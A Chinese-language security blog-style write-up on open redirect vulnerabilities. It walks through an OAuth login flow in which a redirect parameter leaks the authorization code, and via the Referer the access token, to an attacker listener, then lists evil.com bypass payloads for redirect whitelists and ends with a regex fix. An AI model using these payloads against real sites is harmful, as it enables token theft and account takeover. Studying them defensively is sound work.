url跳转是现在web安全中很常见的问题，是个比较不起眼的漏洞了。
从日常中学会了一些不一样的角度，各种可绕过的防御方式。
漏洞影响：
此处不再赘述普通的url跳转漏洞带来的影响，
比较另辟蹊径的oauth处的url跳转。
先来看一下oauth第三方账号登录的流程：
默认i.sevsea.me为使用oauth流程但存在url跳转的站点；
http://1.1.1.1:7777 为攻击者正在监听的地址
-
首先是访问一个拥有url跳转漏洞的链接：
http://i.sevsea.me/ajax/qqlogin?extend=shouyou&gamefrom=web_h5&channel=sevseawebsite&from=home&prevUrl=http://1.1.1.1:7777 -
访问此链接可以跳转至第三方登录处，即下面包含用户state的链接，这里是QQ第三方登录。
http://graph.qq.com/oauth2.0/show?which=Login&display=pc&which=&display=&state=82502feab21aa34d6d460b1a70c0b516&client_id=101270876&response_type=token&scope=get_user_info&redirect_uri=http://i.sevsea.me/index/qqback -
此处将会带着access_token和state跳转到i.sevsea.me/index/qqback,如下：
http://i.sevsea.me/index/qqback?access_token=FD336A008729CA97FB7AC22602A4304E&expires_in=7776000&state=82502feab21aa34d6d460b1a70c0b516 -
到此链接后，下一个步骤生成code并将code带至将http://1.1.1.1:7777 访问，如下。
http://1.1.1.1:7777/?code=01dc82a5e1764e31c9593b89f4b526ec #oauth里面，用来授权的字段为access_token、code、state 这三个参数，拿到这三个参数也就可以实行oauth csrf的攻击流程。 -
可能会有的一个疑问，code能拿到， access_token和 state 怎么拿到呢？
如果业务站点为https，只要同有一个https的站点，即可拿到 http://1.1.1.1:7777/?code=01dc82a5e1764e31c9593b89f4b526ec 的referer，其中便可直接拿到access_token和state 。
所以这类存在于oauth的url跳转，大多有可能造成outh csrf漏洞。
漏洞修复方案绕过：
第一种：
验证缺失（仅验证包含www.yoursite.com的情况）：
http://evil.comwww.yoursite.com/
http://evil.com/?www.yoursite.com
http://evil.com/www.yoursite.com/
第二种：
利用schema://username:password@host.com/的验证缺失
http://evil.com\@www.yoursite.com
此处evil.com\@被当作了username:password的内容来处理，导致验证缺失。
第三种：
%40绕过域名检测
http://sevsea.me/tjump?u=//www.yoursite.com%40evil.com/5uIGe4g&BNVDLtCSEK
第四种：
业务判断了/字符并做了限制，使用""或？绕过
首先尝试添加包含前斜线（/）char的子域名，例如evil.com/.www.yoursite.com，但是它不成功,因为检查了子域的字符，并阻止我使用前斜杠字符。但是当我在子域中使用反斜线字符时，并没有被阻止.
（技巧：浏览器在看到斜杠字符时转换为前斜杠字符。）
http://evil.com\?www.yoursite.com/
使用 http://evil.com?www.yoursite.com/时候浏览器会自动解析为 http://evil.com/?www.yoursite.com/，绕过了对/字符的限制。
http://evil.com?www.yoursite.com/
漏洞修复方案：
正则匹配方案：
https?:\/\/[a-zA-Z0-9\.]*?\.360\.cn\/
